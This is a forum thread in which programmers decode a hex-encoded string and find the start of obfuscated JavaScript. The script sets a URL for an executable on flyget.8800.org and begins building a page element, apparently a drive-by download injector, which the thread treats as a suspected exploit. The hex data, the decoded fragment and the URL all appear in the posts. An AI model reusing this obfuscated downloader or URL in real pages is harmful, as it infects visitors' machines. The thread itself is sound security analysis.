Re: How can I tell perl the element is number?

My (paranoia-level mod ignorance) may be getting too high. But executing this code (seeking to learn from revisions suggested by wiser monks):

my $text = <DATA>;
chomp $text;
print map { chr hex } split m{,}, $text;

# map {printf ("%c", $_)} split (',', $text);
# open ($fh,"<vip.txt");
# my $text = <$fh>;
# chomp $text;
# map { printf ("%c", $_) } split (',', $text);

__DATA__
0x3C,0x73,0x63,0x72,0x69,0x70,0x74,0x3E,0xD,0xA,0x66,0x75,0x6E,0x63,0x
+74,0x69,0x6F,0x6E,0x20,0x67,0x6E,0x28,0x72,0x52,0x61,0x47,0x45,0x79,0
+x6B,0x55,0x31,0x29,0x7B,0x76,0x61,0x72,0x20,0x4F,0x72,0x68,0x32,0x3D,
+0x77,0x69,0x6E,0x64,0x6F,0x77,0x5B,0x22,0x5C,0x78,0x34,0x64,0x5C,0x78
+,0x36,0x31,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x38,0x22,0x5D,0x5B,0x2
+2,0x5C,0x78,0x37,0x32,0x5C,0x78,0x36,0x31,0x5C,0x78,0x36,0x65,0x5C,0x
+78,0x36,0x34,0x5C,0x78,0x36,0x66,0x5C,0x78,0x36,0x64,0x22,0x5D,0x28,0
+x29,0x2A,0x72,0x52,0x61,0x47,0x45,0x79,0x6B,0x55,0x31,0x3B,0x72,0x65,
+0x74,0x75,0x72,0x6E,0x27,0x5C,0x78,0x37,0x65,0x5C,0x78,0x37,0x34,0x5C
+,0x78,0x36,0x64,0x5C,0x78,0x37,0x30,0x27,0x2B,0x27,0x5C,0x78,0x32,0x6
+5,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x64,0x5C,0x78,0x37,0x30,0x27,0x
+7D,0x74,0x72,0x79,0x7B,0x76,0x69,0x70,0x3D,0x27,0x68,0x74,0x74,0x70,0
+x3A,0x2F,0x2F,0x66,0x6C,0x79,0x67,0x65,0x74,0x2E,0x38,0x38,0x30,0x30,
+0x2E,0x6F,0x72,0x67,0x2F,0x76,0x69,0x70,0x2E,0x65,0x78,0x65,0x27,0x3B
+,0x76,0x61,0x72,0x20,0x63,0x68,0x65,0x6E,0x7A,0x69,0x3D,0x77,0x69,0x6
+E,0x64,0x6F,0x77,0x5B,0x22,0x5C,0x78,0x36,0x34,0x5C,0x78,0x36,0x66,0x
+5C,0x78,0x36,0x33,0x5C,0x78,0x37,0x35,0x5C,0x78,0x36,0x64,0x5C,0x78,0
+x36,0x35,0x5C,0x78,0x36,0x65,0x5C,0x78,0x37,0x34,0x22,0x5D,0x5B,0x22,
+0x5C,0x78,0x36,0x33,0x5C,0x78,0x37,0x32,0x5C,0x78,0x36,0x35,0x5C,0x78
+,0x36,0x31,0x5C,0x78,0x37,0x34,0x5C,0x78,0x36,0x35,0x5C,0x78,0x34,0x3
+5,0x5C,0x78,0x36,0x63,0x5C,0x78,0x36,0x35,0x5C,0x78,0x36,0x64,0x5C,0x
+78,0x36,0x35,0x5C,0x78,0x36,0x65,0x5C,0x78,0x37,0x34,0x22,0x5D,
[download]

produces:

<script>
function gn(rRaGEykU1){var Orh2=window["\x4d\x61\x74\x68"]["\x72\x61\x
+6e\x64\x6f\x6d"]()*rRaGEykU1;return'\x7e\x74\x6d\x70'+'\x2e\x74\x6d\x
+70'}try{vip='http://flyget.8800.org/vip.exe';var chenzi=window["\x64\
+x6f\x63\x75\
x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x7
+4"]
[download]

Is anyone else troubled by this? Can anyone offer a good idea of what it's intended to do?

Updated with clarification, additional question

Comment on Re: How can I tell perl the element is number? Select or Download Code

Replies are listed 'Best First'.
Re^2: How can I tell perl the element is number? by moritz (Cardinal) on Aug 13, 2007 at 13:54 UTC
Yes, I'm a bit troubled as well. Without being an expert I think it could be a javascript exploit. Which would explain why it's hex coded (to fool scanners). Update: I just tried to download the exe file, and my company's proxy didn't allow it - not a good sign either. Perl 6 in German	[reply]
Re^3: How can I tell perl the element is number? by Joost (Canon) on Aug 13, 2007 at 14:05 UTC
further decoded: `<script> function gn(rRaGEykU1){var Orh2=window["Math"]["random"]()rRaGEykU1;r +eturn'~tmp'+'.tmp'}try{vip='http://flyget.8800.org/vip.exe';var chenz +i=window["document"]["createElement"]` [download] Whatever follows probably much more interesting, but it does look suspicious (esp. the http link to the .exe) "What should it profit a man, if he should win a flame war, yet lose his cool?"*	[reply] [d/l]
Re^3: How can I tell perl the element is number? by ww (Archbishop) on Aug 13, 2007 at 13:59 UTC
Searched google, panda, trend, mcaffee, etc before posting. Only google found `rRaGEykU1` and that only in three Chinese language pages it had trouble translating.	[reply]